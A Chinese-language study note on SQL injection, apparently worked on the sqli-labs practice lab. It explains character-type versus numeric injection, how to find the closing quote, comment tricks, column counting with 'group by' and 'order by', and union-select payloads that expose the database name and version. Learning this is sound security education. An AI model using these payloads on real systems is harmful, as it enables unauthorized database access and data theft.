什么是注入?
所谓SQL注入,就是通过SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。
注入分类?
字符型 当输入的参数为字符串时,成为字符型。
数字型 当输入的参数为整型时,可以认为数字型注入
按照注入方法 Union注入,报错注入,布尔注入,时间注入,堆叠注入
什么时注入点?
注入点就是可以实行注入的地方,通常是一个访问数据库的连接。
如本页面注入点input the ID进入Less-1网址后面加上 ?id=1
如何判断是字符型注入还是数字型注入?
使用and 1=1和and 1=2来判断
数字型一般提交内容为数字,但数字不一定为数字型
Less-1 提交and 1=1和提交and 1=2都能正常显示界面,则不可能是数字型注入,即为字符型注入。
Less-2 提交and 1=1和提交and 1=2条件无法满足,语句无法被数据库查询到,网页无法正常显示,判断为数字型注入。
打开源文件,查看代码
字符型需要闭合,如图为 '
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
提交 and1=1
$sql="SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1";
单引号闭合语句后Where语句为一个条件id' 1 and 1=1'
数字型则不需要闭合符来闭合
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
提交 and1=2
$sql="SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1";
数字型不需要闭合
闭合方式
' " ' ) " ) 其他
如何判断闭合方式
Less-1输入?id=1'报错为near''1''
' ' 1 ' ' LIMIT 0,1 ' at line 1
多了一个 ' 所有报错判断闭合符为'
闭合的作用
手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数不需要的语句可以用注释符号 '--+' 或 '#' '%23' 注释掉
注释掉:利用注释符号暂时将程序段脱离运行。把某端程序"注释掉",就是让他暂时不允许(而非删除掉)。
union联合注入
提交 ?id=1' union select database() --+
报错columns数量错误
用 group by 二分法判断默认页面数据列数
?id=1' group by 4 --+
Order by有同样效果
?id=1' group by 3 --+
得到列数为3
?id=1' union select 1,version(),database() --+
页面只能显示第一个内容,第二句的内容是不显示的,可以把第一句的内容改为数据库存在的数据,如id=-1
?id=-1' union select 1,version(),database() --+
注入顺序
- 查找注入点
- 判断是字符型还是数字型注入 and 1=1 1=2 / 3-1
- 如果字符型,找到他的闭合方式,' " ' ) ")
- 判断查询列数,group by order by
- 查询回显位